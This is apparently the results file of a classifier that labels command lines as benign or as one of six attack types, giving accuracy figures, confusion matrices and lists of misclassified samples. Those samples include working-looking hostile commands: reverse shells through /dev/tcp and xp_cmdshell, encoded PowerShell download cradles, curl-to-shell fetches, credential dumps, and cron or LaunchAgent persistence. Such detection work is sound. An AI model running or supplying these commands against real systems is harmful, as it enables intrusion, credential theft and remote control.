{ "test": { "n": 3360, "accuracy": 0.7803571428571429, "report": { "benign": { "precision": 0.6850828729281768, "recall": 0.775, "f1-score": 0.7272727272727273, "support": 480.0 }, "reconnaissance": { "precision": 0.7688442211055276, "recall": 0.6375, "f1-score": 0.6970387243735763, "support": 480.0 }, "credential_harvesting": { "precision": 0.7660044150110376, "recall": 0.7229166666666667, "f1-score": 0.7438370846730975, "support": 480.0 }, "reverse_shell": { "precision": 0.6861924686192469, "recall": 0.6833333333333333, "f1-score": 0.6847599164926931, "support": 480.0 }, "persistence": { "precision": 0.7801724137931034, "recall": 0.7541666666666667, "f1-score": 0.7669491525423728, "support": 480.0 }, "download_execute": { "precision": 0.9027484143763214, "recall": 0.8895833333333333, "f1-score": 0.8961175236096537, "support": 480.0 }, "sql_injection": { "precision": 0.8711433756805808, "recall": 1.0, "f1-score": 0.9311348205625606, "support": 480.0 }, "accuracy": 0.7803571428571429, "macro avg": { "precision": 0.7800268830734278, "recall": 0.7803571428571429, "f1-score": 0.7781585642180973, "support": 3360.0 }, "weighted avg": { "precision": 0.7800268830734277, "recall": 0.7803571428571429, "f1-score": 0.7781585642180974, "support": 3360.0 } }, "confusion_matrix": [ [ 372, 51, 49, 0, 6, 0, 2 ], [ 19, 306, 55, 100, 0, 0, 0 ], [ 56, 19, 347, 50, 5, 3, 0 ], [ 0, 21, 0, 328, 88, 43, 0 ], [ 94, 1, 2, 0, 362, 0, 21 ], [ 2, 0, 0, 0, 3, 427, 48 ], [ 0, 0, 0, 0, 0, 0, 480 ] ], "binary": { "false_positive_rate": 0.225, "detection_rate": 0.940625, "false_negative_rate": 0.059375 }, "by_language": { "bash": { "n": 1362, "accuracy": 0.6997063142437592 }, "cmd": { "n": 607, "accuracy": 0.9192751235584844 }, "powershell": { "n": 660, "accuracy": 0.7227272727272728 }, "sql": { "n": 731, "accuracy": 0.8673050615595075 } }, "errors": [ { "text": "ffuf -u http://192.0.2.77/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt", "label": "reconnaissance", "pred": "credential_harvesting" }, { "text": "WmIC /NaMeSpace:\\\\roOT\\secuRityCenter2 pAtH antiviruspRodUct Get DisplaynAme", "label": "reconnaissance", "pred": "benign" }, { "text": "ShaRpCHRome.eXe logIns /unproTect", "label": "credential_harvesting", "pred": "benign" }, { "text": "sudo chmod 600 /etc/ssl/private/app8.contoso.test.key", "label": "benign", "pred": "credential_harvesting" }, { "text": "cp /tmp/x17.plist ~/Library/LaunchAgents/com.GoogleUpdateTaskMachine.plist && launchctl load ~/Library/LaunchAgents/com.GoogleUpdateTaskMachine.plist", "label": "persistence", "pred": "benign" }, { "text": "ffuf -u http://203.0.113.7/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt", "label": "reconnaissance", "pred": "credential_harvesting" }, { "text": "REg sAvE HKLM\\SECURITY C:\\USERS\\Public\\Sec.Hiv", "label": "credential_harvesting", "pred": "benign" }, { "text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''203.0.113.103'',4444)\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "impacket-secretsdump ad.example.org/ubuntu:'Changeme123'@203.0.113.73", "label": "credential_harvesting", "pred": "reverse_shell" }, { "text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''203.0.113.100'',5555)\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "cp /tmp/a.plist ~/Library/LaunchAgents/com.dbus-helper.plist && launchctl load ~/Library/LaunchAgents/com.dbus-helper.plist", "label": "persistence", "pred": "benign" }, { "text": "Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 18", "label": "benign", "pred": "reconnaissance" }, { "text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''192.0.2.62'',1337)\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.0.2.18/443 0>&1\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "powershell -nop -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAOAAuADUAMQAuADEAMAAwAC4AMwAnACwANAA0ADQANAApADsAJABzAD0AJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApAA==", "label": "reverse_shell", "pred": "download_execute" }, { "text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.0.2.24/53501 0>&1\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "nmap -Pn -p 21,22,80,443,445,3306,3389 198.51.100.194 -oN x8.txt", "label": "reconnaissance", "pred": "reverse_shell" }, { "text": "SELECT name FROM customers WHERE name = 'O''Brien';", "label": "benign", "pred": "reconnaissance" }, { "text": "sudo ffuf -u http://203.0.113.7/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt", "label": "reconnaissance", "pred": "credential_harvesting" }, { "text": "ffuf -u http://203.0.113.136/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt", "label": "reconnaissance", "pred": "credential_harvesting" }, { "text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/198.51.100.235/8443 0>&1\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "cmd.exe /c \"wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct get displayname\"", "label": "reconnaissance", "pred": "credential_harvesting" }, { "text": "wMiC /NaMeSpacE:\\\\RooT\\seCuriTyCEnTEr2 paTh ANTIVirUsprOduct get DisplaynamE", "label": "reconnaissance", "pred": "credential_harvesting" }, { "text": "sudo nmap -Pn -p 21,22,80,443,445,3306,3389 192.0.2.11 -oN sys.txt", "label": "reconnaissance", "pred": "reverse_shell" }, { "text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''192.0.2.121'',4444)\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "nmap -Pn -p 21,22,80,443,445,3306,3389 198.51.100.12 -oN tmp30.txt", "label": "reconnaissance", "pred": "reverse_shell" }, { "text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/198.51.100.133/53 0>&1\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "curl -s http://192.0.2.137/out22 | sh -s -- --silent", "label": "download_execute", "pred": "sql_injection" }, { "text": "sudo chmod 600 /etc/ssl/private/db8.contoso.test.key", "label": "benign", "pred": "credential_harvesting" }, { "text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.0.2.228/8080 0>&1\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/203.0.113.110/80 0>&1\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "ps aux --sort=-%mem | head -n 39", "label": "benign", "pred": "reconnaissance" }, { "text": "/usr/bin/curl -s http://203.0.113.79/update | sh -s -- --silent", "label": "download_execute", "pred": "sql_injection" }, { "text": "sudo export PATH=$HOME/.local/bin:$PATH", "label": "benign", "pred": "persistence" }, { "text": "powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMAAuADIALgAxADgANgAvAHQAbQBwADEAMQAuAHAAcwAxACcAKQA=", "label": "reverse_shell", "pred": "download_execute" }, { "text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''198.51.100.220'',8080)\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''198.51.100.49'',14506)\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "nmap -Pn -p 21,22,80,443,445,3306,3389 192.0.2.56 -oN svc.txt", "label": "reconnaissance", "pred": "reverse_shell" }, { "text": "ps aux --sort=-%mem | head -n 49", "label": "benign", "pred": "reconnaissance" }, { "text": "cmdkey /list & vaultcmd /listcreds:\"Windows Credentials\" /all", "label": "credential_harvesting", "pred": "reconnaissance" }, { "text": "ffuf -u http://203.0.113.5/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt", "label": "reconnaissance", "pred": "credential_harvesting" }, { "text": "curl -s http://203.0.113.250/payload5 | sh -s -- --silent", "label": "download_execute", "pred": "sql_injection" }, { "text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''192.0.2.88'',80)\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''198.51.100.4'',8080)\"';", "label": "reverse_shell", "pred": "persistence" }, { "text": "ps aux --sort=-%mem | head -n 44", "label": "benign", "pred": "reconnaissance" }, { "text": "powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMAAuADIALgAyADEAOQAvAGwAbwBhAGQAZQByADQANgAuAHAAcwAxACcAKQA=", "label": "reverse_shell", "pred": "download_execute" }, { "text": "impacket-secretsdump internal.test/admin:'Changeme123'@192.0.2.55", "label": "credential_harvesting", "pred": "download_execute" }, { "text": "ps aux --sort=-%mem | head -n 9", "label": "benign", "pred": "reconnaissance" }, { "text": "ffuf -u http://203.0.113.156/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt", "label": "reconnaissance", "pred": "credential_harvesting" }, { "text": "impacket-secretsdump internal.test/frank:'Passw0rd1'@203.0.113.210", "label": "credential_harvesting", "pred": "reverse_shell" } ] }, "challenge": { "n": 73, "accuracy": 0.7534246575342466, "report": { "benign": { "precision": 0.6774193548387096, "recall": 0.9130434782608695, "f1-score": 0.7777777777777778, "support": 23.0 }, "reconnaissance": { "precision": 0.7272727272727273, "recall": 0.6153846153846154, "f1-score": 0.6666666666666666, "support": 13.0 }, "credential_harvesting": { "precision": 1.0, "recall": 0.5, "f1-score": 0.6666666666666666, "support": 10.0 }, "reverse_shell": { "precision": 1.0, "recall": 0.8571428571428571, "f1-score": 0.9230769230769231, "support": 7.0 }, "persistence": { "precision": 0.8, "recall": 0.5714285714285714, "f1-score": 0.6666666666666666, "support": 7.0 }, "download_execute": { "precision": 0.625, "recall": 0.7142857142857143, "f1-score": 0.6666666666666666, "support": 7.0 }, "sql_injection": { "precision": 0.8571428571428571, "recall": 1.0, "f1-score": 0.9230769230769231, "support": 6.0 }, "accuracy": 0.7534246575342466, "macro avg": { "precision": 0.812404991322042, "recall": 0.7387550337860898, "f1-score": 0.7557997557997558, "support": 73.0 }, "weighted avg": { "precision": 0.7829184624478482, "recall": 0.7534246575342466, "f1-score": 0.7473363774733637, "support": 73.0 } }, "confusion_matrix": [ [ 21, 1, 0, 0, 0, 1, 0 ], [ 4, 8, 0, 0, 1, 0, 0 ], [ 3, 1, 5, 0, 0, 0, 1 ], [ 0, 0, 0, 6, 0, 1, 0 ], [ 2, 0, 0, 0, 4, 1, 0 ], [ 1, 1, 0, 0, 0, 5, 0 ], [ 0, 0, 0, 0, 0, 0, 6 ] ], "binary": { "false_positive_rate": 0.08695652173913043, "detection_rate": 0.8, "false_negative_rate": 0.2 }, "by_language": { "bash": { "n": 35, "accuracy": 0.6571428571428571 }, "cmd": { "n": 13, "accuracy": 0.6153846153846154 }, "http": { "n": 3, "accuracy": 1.0 }, "powershell": { "n": 14, "accuracy": 0.9285714285714286 }, "sql": { "n": 8, "accuracy": 1.0 } }, "errors": [ { "text": "curl -fsSL https://deb.nodesource.com/setup_20.x -o nodesource_setup.sh && cat nodesource_setup.sh | less", "label": "benign", "pred": "download_execute" }, { "text": "ping -t 10.1.1.1", "label": "benign", "pred": "reconnaissance" }, { "text": "nuclei -u https://intranet.target.example -severity critical,high", "label": "reconnaissance", "pred": "benign" }, { "text": "ldapdomaindump -u 'CORP\\jdoe' -p 'Spring2025!' 10.20.30.5", "label": "reconnaissance", "pred": "persistence" }, { "text": "Get-CimInstance Win32_Process | Select-Object Name, CommandLine", "label": "reconnaissance", "pred": "benign" }, { "text": "net accounts /domain", "label": "reconnaissance", "pred": "benign" }, { "text": "SharpHound.exe -c All --zipfilename out.zip", "label": "reconnaissance", "pred": "benign" }, { "text": "grep -rhoE 'AKIA[0-9A-Z]{16}' / 2>/dev/null", "label": "credential_harvesting", "pred": "sql_injection" }, { "text": "mimipenguin", "label": "credential_harvesting", "pred": "benign" }, { "text": "cat /etc/NetworkManager/system-connections/* | grep psk=", "label": "credential_harvesting", "pred": "benign" }, { "text": "trufflehog filesystem / --only-verified", "label": "credential_harvesting", "pred": "benign" }, { "text": "nxc smb 10.20.30.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee --sam", "label": "credential_harvesting", "pred": "reconnaissance" }, { "text": "C:\\Windows\\Tasks\\ncat.exe c2.bad.example 443 -e cmd.exe", "label": "reverse_shell", "pred": "download_execute" }, { "text": "echo '*/2 * * * * root curl -s http://172.16.5.9/x | sh' > /etc/cron.d/0hourly2", "label": "persistence", "pred": "download_execute" }, { "text": "chmod u+s /bin/bash", "label": "persistence", "pred": "benign" }, { "text": "systemctl --user enable --now updater.timer", "label": "persistence", "pred": "benign" }, { "text": "curl -sL https://paste.bad.example/raw/abc123 | python3", "label": "download_execute", "pred": "benign" }, { "text": "finger loader@172.16.5.9 | more +2 | cmd", "label": "download_execute", "pred": "reconnaissance" } ] } }